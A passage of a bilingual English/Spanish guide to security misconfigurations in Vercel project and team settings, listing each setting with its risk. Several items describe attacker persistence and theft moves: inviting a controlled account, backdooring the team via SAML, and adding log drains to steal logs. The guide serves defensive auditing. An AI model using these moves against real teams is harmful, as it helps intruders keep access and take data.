- **Mala Configuración:** Registros DNS incorrectos (A, CNAME) apuntando a servidores maliciosos.
- **Riesgo:** Secuestro de dominio, interceptación de tráfico y ataques de phishing.
- **Gestión de Certificados SSL/TLS**
- **Mala Configuración:** Uso de certificados SSL/TLS débiles o caducados.
- **Riesgo:** Vulnerable a ataques de hombre en el medio (MITM), comprometiendo la integridad y confidencialidad de los datos.
- **Implementación de DNSSEC**
- **Mala Configuración:** No habilitar DNSSEC o configuraciones incorrectas de DNSSEC.
- **Riesgo:** Aumento de la susceptibilidad a ataques de suplantación de DNS y envenenamiento de caché.
- **Entorno utilizado por dominio**
- **Mala Configuración:** Cambiar el entorno utilizado por el dominio en producción.
- **Riesgo:** Exponer secretos o funcionalidades potenciales que no deberían estar disponibles en producción.
---
### Environments
### Entornos
**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
**Propósito:** Definir diferentes entornos (Desarrollo, Vista previa, Producción) con configuraciones y variables específicas.
#### Security Configurations:
#### Configuraciones de Seguridad:
- **Environment Isolation**
- **Misconfiguration:** Sharing environment variables across environments.
- **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
- **Access to Sensitive Environments**
- **Misconfiguration:** Allowing broad access to production environments.
- **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
- **Aislamiento de Entorno**
- **Mala Configuración:** Compartir variables de entorno entre entornos.
- **Riesgo:** Filtración de secretos de producción en entornos de desarrollo o vista previa, aumentando la exposición.
- **Acceso a Entornos Sensibles**
- **Mala Configuración:** Permitir un acceso amplio a entornos de producción.
- **Riesgo:** Cambios no autorizados o acceso a aplicaciones en vivo, lo que puede llevar a tiempos de inactividad o filtraciones de datos.
---
### Environment Variables
### Variables de Entorno
**Purpose:** Manage environment-specific variables and secrets used by the application.
**Propósito:** Administrar variables y secretos específicos del entorno utilizados por la aplicación.
#### Security Configurations:
#### Configuraciones de Seguridad:
- **Exposing Sensitive Variables**
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
- **Sensitive disabled**
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
- **Shared Environment Variables**
- **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
- **Exposición de Variables Sensibles**
- **Mala Configuración:** Prefijar variables sensibles con `NEXT_PUBLIC_`, haciéndolas accesibles en el lado del cliente.
- **Riesgo:** Exposición de claves API, credenciales de base de datos u otros datos sensibles al público, lo que lleva a filtraciones de datos.
- **Sensibles deshabilitados**
- **Mala Configuración:** Si está deshabilitado (por defecto), es posible leer los valores de los secretos generados.
- **Riesgo:** Aumento de la probabilidad de exposición accidental o acceso no autorizado a información sensible.
- **Variables de Entorno Compartidas**
- **Mala Configuración:** Estas son variables de entorno establecidas a nivel de Equipo y también podrían contener información sensible.
- **Riesgo:** Aumento de la probabilidad de exposición accidental o acceso no autorizado a información sensible.
---
### Git
**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
**Propósito:** Configurar integraciones de repositorios de Git, protecciones de ramas y desencadenadores de implementación.
#### Security Configurations:
#### Configuraciones de Seguridad:
- **Ignored Build Step (TODO)**
- **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
- **Risk:** TBD
- **Paso de Construcción Ignorado (TODO)**
- **Mala Configuración:** Parece que esta opción permite configurar un script/commandos bash que se ejecutará cuando se empuje un nuevo commit en Github, lo que podría permitir RCE.
- **Riesgo:** TBD
---
### Integrations
### Integraciones
**Purpose:** Connect third-party services and tools to enhance project functionalities.
**Propósito:** Conectar servicios y herramientas de terceros para mejorar las funcionalidades del proyecto.
#### Security Configurations:
#### Configuraciones de Seguridad:
- **Insecure Third-Party Integrations**
- **Misconfiguration:** Integrating with untrusted or insecure third-party services.
- **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
- **Over-Permissioned Integrations**
- **Misconfiguration:** Granting excessive permissions to integrated services.
- **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
- **Lack of Integration Monitoring**
- **Misconfiguration:** Failing to monitor and audit third-party integrations.
- **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
- **Integraciones de Terceros Inseguras**
- **Mala Configuración:** Integrarse con servicios de terceros no confiables o inseguros.
- **Riesgo:** Introducción de vulnerabilidades, filtraciones de datos o puertas traseras a través de integraciones comprometidas.
- **Integraciones con Permisos Excesivos**
- **Mala Configuración:** Conceder permisos excesivos a servicios integrados.
- **Riesgo:** Acceso no autorizado a recursos del proyecto, manipulación de datos o interrupciones del servicio.
- **Falta de Monitoreo de Integraciones**
- **Mala Configuración:** No monitorear ni auditar integraciones de terceros.
- **Riesgo:** Detección tardía de integraciones comprometidas, aumentando el impacto potencial de las brechas de seguridad.
---
### Deployment Protection
### Protección de Implementación
**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
**Propósito:** Asegurar implementaciones a través de varios mecanismos de protección, controlando quién puede acceder y desplegar en tus entornos.
#### Security Configurations:
#### Configuraciones de Seguridad:
**Vercel Authentication**
**Autenticación de Vercel**
- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
- **Mala Configuración:** Deshabilitar la autenticación o no hacer cumplir las verificaciones de miembros del equipo.
- **Riesgo:** Usuarios no autorizados pueden acceder a implementaciones, lo que lleva a filtraciones de datos o mal uso de la aplicación.
**Protection Bypass for Automation**
**Bypass de Protección para Automatización**
- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
- **Mala Configuración:** Exponer el secreto de bypass públicamente o usar secretos débiles.
- **Riesgo:** Los atacantes pueden eludir las protecciones de implementación, accediendo y manipulando implementaciones protegidas.
**Shareable Links**
**Enlaces Compartibles**
- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
- **Mala Configuración:** Compartir enlaces indiscriminadamente o no revocar enlaces obsoletos.
- **Riesgo:** Acceso no autorizado a implementaciones protegidas, eludiendo autenticación y restricciones de IP.
**OPTIONS Allowlist**
**Opciones de Lista Blanca**
- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
- **Mala Configuración:** Permitir rutas demasiado amplias o puntos finales sensibles.
- **Riesgo:** Los atacantes pueden explotar rutas no protegidas para realizar acciones no autorizadas o eludir verificaciones de seguridad.
**Password Protection**
**Protección por Contraseña**
- **Misconfiguration:** Using weak passwords or sharing them insecurely.
- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
- **Mala Configuración:** Usar contraseñas débiles o compartirlas de manera insegura.
- **Riesgo:** Acceso no autorizado a implementaciones si las contraseñas son adivinadas o filtradas.
- **Nota:** Disponible en el plan **Pro** como parte de **Protección Avanzada de Implementación** por un adicional de $150/mes.
**Deployment Protection Exceptions**
**Excepciones de Protección de Implementación**
- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
- **Mala Configuración:** Agregar dominios de producción o sensibles a la lista de excepciones inadvertidamente.
- **Riesgo:** Exposición de implementaciones críticas al público, lo que lleva a filtraciones de datos o acceso no autorizado.
- **Nota:** Disponible en el plan **Pro** como parte de **Protección Avanzada de Implementación** por un adicional de $150/mes.
**Trusted IPs**
**IPs de Confianza**
- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
- **Note:** Available on the **Enterprise** plan.
- **Mala Configuración:** Especificar incorrectamente direcciones IP o rangos CIDR.
- **Riesgo:** Usuarios legítimos siendo bloqueados o IPs no autorizadas ganando acceso.
- **Nota:** Disponible en el plan **Enterprise**.
---
### Functions
### Funciones
**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
**Propósito:** Configurar funciones sin servidor, incluyendo configuraciones de tiempo de ejecución, asignación de memoria y políticas de seguridad.
#### Security Configurations:
#### Configuraciones de Seguridad:
- **Nothing**
- **Nada**
---
### Data Cache
### Caché de Datos
**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
**Propósito:** Administrar estrategias y configuraciones de caché para optimizar el rendimiento y controlar el almacenamiento de datos.
#### Security Configurations:
#### Configuraciones de Seguridad:
- **Purge Cache**
- **Misconfiguration:** It allows to delete all the cache.
- **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
- **Purgar Caché**
- **Mala Configuración:** Permite eliminar toda la caché.
- **Riesgo:** Usuarios no autorizados eliminando la caché, lo que lleva a un posible DoS.
---
### Cron Jobs
### Trabajos Cron
**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
**Propósito:** Programar tareas y scripts automatizados para que se ejecuten en intervalos específicos.
#### Security Configurations:
#### Configuraciones de Seguridad:
- **Disable Cron Job**
- **Misconfiguration:** It allows to disable cron jobs declared inside the code
- **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
- **Deshabilitar Trabajo Cron**
- **Mala Configuración:** Permite deshabilitar trabajos cron declarados dentro del código
- **Riesgo:** Posible interrupción del servicio (dependiendo de para qué estaban destinados los trabajos cron)
---
### Log Drains
### Drenajes de Registro
**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
**Propósito:** Configurar servicios de registro externos para capturar y almacenar registros de aplicaciones para monitoreo y auditoría.
#### Security Configurations:
#### Configuraciones de Seguridad:
- Nothing (managed from teams settings)
- Nada (gestionado desde la configuración de equipos)
---
### Security
### Seguridad
**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
**Propósito:** Centro central para varias configuraciones relacionadas con la seguridad que afectan el acceso al proyecto, la protección de la fuente y más.
#### Security Configurations:
#### Configuraciones de Seguridad:
**Build Logs and Source Protection**
**Registros de Construcción y Protección de Fuente**
- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
- **Mala Configuración:** Deshabilitar la protección o exponer públicamente las rutas `/logs` y `/src`.
- **Riesgo:** Acceso no autorizado a registros de construcción y código fuente, lo que lleva a filtraciones de información y posible explotación de vulnerabilidades.
**Git Fork Protection**
**Protección de Fork de Git**
- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
- **Mala Configuración:** Permitir solicitudes de extracción no autorizadas sin revisiones adecuadas.
- **Riesgo:** Código malicioso puede ser fusionado en la base de código, introduciendo vulnerabilidades o puertas traseras.
**Secure Backend Access with OIDC Federation**
**Acceso Seguro al Backend con Federación OIDC**
- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
- **Risk:** Unauthorized access to backend services through flawed authentication flows.
- **Mala Configuración:** Configurar incorrectamente los parámetros de OIDC o usar URLs de emisor inseguras.
- **Riesgo:** Acceso no autorizado a servicios de backend a través de flujos de autenticación defectuosos.
**Deployment Retention Policy**
**Política de Retención de Implementaciones**
- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
- **Mala Configuración:** Establecer períodos de retención demasiado cortos (perdiendo el historial de implementaciones) o demasiado largos (retención innecesaria de datos).
- **Riesgo:** Incapacidad para realizar retrocesos cuando sea necesario o aumento del riesgo de exposición de datos de implementaciones antiguas.
**Recently Deleted Deployments**
**Implementaciones Recientemente Eliminadas**
- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
- **Mala Configuración:** No monitorear implementaciones eliminadas o depender únicamente de eliminaciones automatizadas.
- **Riesgo:** Pérdida de historial crítico de implementaciones, dificultando auditorías y retrocesos.
---
### Advanced
### Avanzado
**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
**Propósito:** Acceso a configuraciones adicionales del proyecto para ajustar configuraciones y mejorar la seguridad.
#### Security Configurations:
#### Configuraciones de Seguridad:
**Directory Listing**
**Listado de Directorios**
- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
- **Mala Configuración:** Habilitar el listado de directorios permite a los usuarios ver el contenido del directorio sin un archivo de índice.
- **Riesgo:** Exposición de archivos sensibles, estructura de la aplicación y posibles puntos de entrada para ataques.
---
## Project Firewall
## Cortafuegos del Proyecto
### Firewall
### Cortafuegos
#### Security Configurations:
#### Configuraciones de Seguridad:
**Enable Attack Challenge Mode**
**Habilitar Modo de Desafío de Ataque**
- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
- **Risk:** Potential user experience problems.
- **Mala Configuración:** Habilitar esto mejora las defensas de la aplicación web contra DoS, pero a costa de la usabilidad
- **Riesgo:** Problemas potenciales de experiencia del usuario.
### Custom Rules & IP Blocking
### Reglas Personalizadas y Bloqueo de IP
- **Misconfiguration:** Allows to unblock/block traffic
- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
- **Mala Configuración:** Permite desbloquear/bloquear tráfico
- **Riesgo:** Potencial DoS permitiendo tráfico malicioso o bloqueando tráfico benigno
---
## Project Deployment
## Implementación del Proyecto
### Source
### Fuente
- **Misconfiguration:** Allows access to read the complete source code of the application
- **Risk:** Potential exposure of sensitive information
- **Mala Configuración:** Permite acceso para leer el código fuente completo de la aplicación
- **Riesgo:** Exposición potencial de información sensible
### Skew Protection
### Protección contra Desviaciones
- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
- **Mala Configuración:** Esta protección asegura que la aplicación del cliente y del servidor siempre estén usando la misma versión, por lo que no hay desincronizaciones donde el cliente usa una versión diferente de la del servidor y, por lo tanto, no se entienden entre sí.
- **Riesgo:** Deshabilitar esto (si está habilitado) podría causar problemas de DoS en nuevas implementaciones en el futuro
---
## Team Settings
## Configuraciones del Equipo
### General
#### Security Configurations:
#### Configuraciones de Seguridad:
- **Transfer**
- **Misconfiguration:** Allows to transfer all the projects to another team
- **Risk:** An attacker could steal the projects
- **Delete Project**
- **Misconfiguration:** Allows to delete the team with all the projects
- **Risk:** Delete the projects
- **Transferencia**
- **Mala Configuración:** Permite transferir todos los proyectos a otro equipo
- **Riesgo:** Un atacante podría robar los proyectos
- **Eliminar Proyecto**
- **Mala Configuración:** Permite eliminar el equipo con todos los proyectos&#x20;
- **Riesgo:** Eliminar los proyectos
---
### Billing
### Facturación
#### Security Configurations:
#### Configuraciones de Seguridad:
- **Speed Insights Cost Limit**
- **Misconfiguration:** An attacker could increase this number
- **Risk:** Increased costs
- **Límite de Costo de Speed Insights**
- **Mala Configuración:** Un atacante podría aumentar este número
- **Riesgo:** Aumento de costos
---
### Members
### Miembros
#### Security Configurations:
#### Configuraciones de Seguridad:
- **Add members**
- **Misconfiguration:** An attacker could maintain persitence inviting an account he control
- **Risk:** Attacker persistence
- **Agregar miembros**
- **Mala Configuración:** Un atacante podría mantener persistencia invitando a una cuenta que controla
- **Riesgo:** Persistencia del atacante
- **Roles**
- **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- **Risk**: Increate the exposure of the Vercel Team
- **Mala Configuración:** Conceder demasiados permisos a personas que no los necesitan aumenta el riesgo de la configuración de Vercel. Verifica todos los roles posibles en [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- **Riesgo**: Aumentar la exposición del Equipo de Vercel
---
### Access Groups
### Grupos de Acceso
An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
Un **Grupo de Acceso** en Vercel es una colección de proyectos y miembros del equipo con asignaciones de roles predefinidas, lo que permite una gestión de acceso centralizada y simplificada a través de múltiples proyectos.
**Potential Misconfigurations:**
**Posibles Mala Configuraciones:**
- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
- **Sobre-Permisos a Miembros:** Asignar roles con más permisos de los necesarios, lo que lleva a acceso o acciones no autorizadas.
- **Asignaciones de Rol Incorrectas:** Asignar incorrectamente roles que no se alinean con las responsabilidades de los miembros del equipo, causando escalada de privilegios.
- **Falta de Segregación de Proyectos:** No separar proyectos sensibles, permitiendo un acceso más amplio del que se pretendía.
- **Gestión Insuficiente de Grupos:** No revisar o actualizar regularmente los Grupos de Acceso, resultando en permisos de acceso obsoletos o inapropiados.
- **Definiciones de Rol Inconsistentes:** Usar definiciones de rol inconsistentes o poco claras en diferentes Grupos de Acceso, llevando a confusión y brechas de seguridad.
---
### Log Drains
### Drenajes de Registro
#### Security Configurations:
#### Configuraciones de Seguridad:
- **Log Drains to third parties:**
- **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
- **Risk:** Partial persistence
- **Drenajes de Registro a terceros:**
- **Mala Configuración:** Un atacante podría configurar un Drenaje de Registro para robar los registros
- **Riesgo:** Persistencia parcial
---
### Security & Privacy
### Seguridad y Privacidad
#### Security Configurations:
#### Configuraciones de Seguridad:
- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
- **Misconfiguration:**
- Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
- Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
- **Risks:**
- **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
- **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
- **Misconfiguration:** Not adding critical Git scopes to the protected list.
- **Risks:**
- **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
- **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
- **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
- **Risks:**
- **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
- **Data Breach:** Sensitive information like API keys and credentials could be leaked.
- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
- **Misconfiguration:**\
Granting access to audit logs to unauthorized team members.
- **Risks:**
- **Privacy Violations:** Exposure of sensitive user activities and data.
- **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
- **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
- **Risk:** Maintain persistence
- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
- **Misconfiguration:** Leaving IP address visibility enabled without necessity.
- **Risks:**
- **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
- **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
- **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
- **Risks:**
- **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
- **Operational Disruptions:** Loss of service availability for certain regions or clients.
- **Dominio de Correo Electrónico del Equipo:** Cuando se configura, esta configuración invita automáticamente a Cuentas Personales de Vercel con direcciones de correo electrónico que terminan en el dominio especificado (por ejemplo, `mydomain.com`) a unirse a tu equipo al registrarse y en el panel de control.
- **Mala Configuración:**&#x20;
- Especificar el dominio de correo electrónico incorrecto o un dominio mal escrito en la configuración del Dominio de Correo Electrónico del Equipo.
- Usar un dominio de correo electrónico común (por ejemplo, `gmail.com`, `hotmail.com`) en lugar de un dominio específico de la empresa.
- **Riesgos:**
- **Acceso No Autorizado:** Usuarios con direcciones de correo electrónico de dominios no deseados pueden recibir invitaciones para unirse a tu equipo.
- **Exposición de Datos:** Exposición potencial de información sensible del proyecto a individuos no autorizados.
- **Ámbitos de Git Protegidos:** Te permite agregar hasta 5 ámbitos de Git a tu equipo para evitar que otros equipos de Vercel implementen repositorios del ámbito protegido. Múltiples equipos pueden especificar el mismo ámbito, permitiendo el acceso a ambos equipos.
- **Mala Configuración:** No agregar ámbitos críticos de Git a la lista protegida.
- **Riesgos:**
- **Implementaciones No Autorizadas:** Otros equipos pueden implementar repositorios de los ámbitos de Git de tu organización sin autorización.
- **Exposición de Propiedad Intelectual:** Código propietario podría ser implementado y accesado fuera de tu equipo.
- **Políticas de Variables de Entorno:** Hace cumplir políticas para la creación y edición de las variables de entorno del equipo. Específicamente, puedes hacer cumplir que todas las variables de entorno se creen como **Variables de Entorno Sensibles**, que solo pueden ser desencriptadas por el sistema de implementación de Vercel.
- **Mala Configuración:** Mantener la aplicación de variables de entorno sensibles deshabilitada.
- **Riesgos:**
- **Exposición de Secretos:** Las variables de entorno pueden ser vistas o editadas por miembros no autorizados del equipo.
- **Filtración de Datos:** Información sensible como claves API y credenciales podría ser filtrada.
- **Registro de Auditoría:** Proporciona una exportación de la actividad del equipo por hasta los últimos 90 días. Los registros de auditoría ayudan a monitorear y rastrear acciones realizadas por los miembros del equipo.
- **Mala Configuración:**\
Conceder acceso a registros de auditoría a miembros no autorizados del equipo.
- **Riesgos:**
- **Violaciones de Privacidad:** Exposición de actividades y datos sensibles de usuarios.
- **Manipulación de Registros:** Actores maliciosos podrían alterar o eliminar registros para cubrir sus huellas.
- **SAML Single Sign-On:** Permite la personalización de la autenticación SAML y la sincronización de directorios para tu equipo, habilitando la integración con un Proveedor de Identidad (IdP) para autenticación y gestión de usuarios centralizadas.
- **Mala Configuración:** Un atacante podría crear una puerta trasera en la configuración del Equipo estableciendo parámetros SAML como ID de Entidad, URL de SSO o huellas digitales de certificados.
- **Riesgo:** Mantener persistencia
- **Visibilidad de Direcciones IP:** Controla si las direcciones IP, que pueden considerarse información personal bajo ciertas leyes de protección de datos, se muestran en consultas de Monitoreo y Drenajes de Registro.
- **Mala Configuración:** Dejar habilitada la visibilidad de direcciones IP sin necesidad.
- **Riesgos:**
- **Violaciones de Privacidad:** No cumplimiento con regulaciones de protección de datos como GDPR.
- **Repercusiones Legales:** Posibles multas y sanciones por manejo inadecuado de datos personales.
- **Bloqueo de IP:** Permite la configuración de direcciones IP y rangos CIDR que Vercel debería bloquear en las solicitudes. Las solicitudes bloqueadas no contribuyen a tu facturación.
- **Mala Configuración:** Podría ser abusada por un atacante para permitir tráfico malicioso o bloquear tráfico legítimo.
- **Riesgos:**
- **Denegación de Servicio a Usuarios Legítimos:** Bloqueo de acceso para usuarios o socios válidos.
- **Interrupciones Operativas:** Pérdida de disponibilidad del servicio para ciertas regiones o clientes.
---
### Secure Compute
### Cómputo Seguro
**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
**Vercel Secure Compute** permite conexiones seguras y privadas entre Funciones de Vercel y entornos de backend (por ejemplo, bases de datos) estableciendo redes aisladas con direcciones IP dedicadas. Esto elimina la necesidad de exponer servicios de backend públicamente, mejorando la seguridad, el cumplimiento y la privacidad.
#### **Potential Misconfigurations and Risks**
#### **Posibles Mala Configuraciones y Riesgos**
1. **Incorrect AWS Region Selection**
- **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
- **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
2. **Overlapping CIDR Blocks**
- **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
- **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
3. **Improper VPC Peering Configuration**
- **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
- **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
4. **Excessive Project Assignments**
- **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
- **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
5. **Inadequate IP Address Management**
- **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
- **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
6. **Including Build Containers Unnecessarily**
- **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
- **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
7. **Failure to Securely Handle Bypass Secrets**
- **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
- **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
8. **Ignoring Region Failover Configurations**
- **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
- **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
9. **Exceeding VPC Peering Connection Limits**
- **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
- **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
10. **Insecure Network Settings**
- **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
- **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
1. **Selección Incorrecta de Región de AWS**
- **Mala Configuración:** Elegir una región de AWS para la red de Cómputo Seguro que no coincida con la región de los servicios de backend.
- **Riesgo:** Aumento de latencia, posibles problemas de cumplimiento de residencia de datos y degradación del rendimiento.
2. **Bloques CIDR Superpuestos**
- **Mala Configuración:** Seleccionar bloques CIDR que se superpongan con VPC existentes u otras redes.
- **Riesgo:** Conflictos de red que llevan a conexiones fallidas, acceso no autorizado o filtración de datos entre redes.
3. **Configuración Incorrecta de Peering de VPC**
- **Mala Configuración:** Configurar incorrectamente el peering de VPC (por ejemplo, IDs de VPC incorrectos, actualizaciones incompletas de la tabla de rutas).
- **Riesgo:** Acceso no autorizado a la infraestructura de backend, conexiones seguras fallidas y posibles filtraciones de datos.
4. **Asignaciones Excesivas de Proyectos**
- **Mala Configuración:** Asignar múltiples proyectos a una sola red de Cómputo Seguro sin el aislamiento adecuado.
- **Riesgo:** La exposición compartida de IP aumenta la superficie de ataque, permitiendo que proyectos comprometidos afecten a otros.
5. **Gestión Inadecuada de Direcciones IP**
- **Mala Configuración:** No gestionar o rotar adecuadamente las direcciones IP dedicadas.
- **Riesgo:** Suplantación de IP, vulnerabilidades de seguimiento y posible inclusión en listas negras si las IP están asociadas con actividades maliciosas.
6. **Incluir Contenedores de Construcción Innecesariamente**
- **Mala Configuración:** Agregar contenedores de construcción a la red de Cómputo Seguro cuando no se requiere acceso de backend durante las construcciones.
- **Riesgo:** Superficie de ataque expandida, retrasos en la provisión y consumo innecesario de recursos de red.
7. **Falta de Manejo Seguro de Secretos de Bypass**
- **Mala Configuración:** Exponer o manejar incorrectamente secretos utilizados para eludir protecciones de implementación.
- **Riesgo:** Acceso no autorizado a implementaciones protegidas, permitiendo a los atacantes manipular o implementar código malicioso.
8. **Ignorar Configuraciones de Failover de Región**
- **Mala Configuración:** No configurar regiones de failover pasivas o configurar incorrectamente las configuraciones de failover.
- **Riesgo:** Tiempo de inactividad del servicio durante interrupciones en la región principal, llevando a una disponibilidad reducida y posible inconsistencia de datos.
9. **Exceder Límites de Conexión de Peering de VPC**
- **Mala Configuración:** Intentar establecer más conexiones de peering de VPC de las permitidas (por ejemplo, exceder 50 conexiones).
- **Riesgo:** Incapacidad para conectar de manera segura los servicios de backend necesarios, causando fallos en las implementaciones y interrupciones operativas.
10. **Configuraciones de Red Inseguras**
- **Mala Configuración:** Reglas de firewall débiles, falta de cifrado o segmentación de red inadecuada dentro de la red de Cómputo Seguro.
- **Riesgo:** Intercepción de datos, acceso no autorizado a servicios de backend y mayor vulnerabilidad a ataques.
---
### Environment Variables
### Variables de Entorno
**Purpose:** Manage environment-specific variables and secrets used by all the projects.
**Propósito:** Administrar variables y secretos específicos del entorno utilizados por todos los proyectos.
#### Security Configurations:
#### Configuraciones de Seguridad:
- **Exposing Sensitive Variables**
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
